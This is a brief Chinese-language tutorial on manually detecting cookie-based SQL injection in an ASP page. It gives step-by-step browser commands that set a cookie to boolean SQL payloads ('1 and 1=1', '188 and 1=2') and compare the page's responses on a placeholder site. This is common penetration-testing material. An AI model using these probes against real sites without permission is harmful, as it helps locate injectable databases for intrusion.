Cookie注入手工检测方法

韩小末

http://xxxx/view.asp?id=1  
先访问http://xxxx/view.asp?id=1  
接着在浏览器里输入：  
javascript:alert(document.cookie="id="+escape("1 and 1=1"))  
再访问http://xxxx/view.asp（未出错）  
再输入：javascript:alert(document.cookie="id="+escape("188 and 1=2"))  
再访问：http://xxxx/view.asp（出错）  
该页面出错就表示可以用Cookie注入。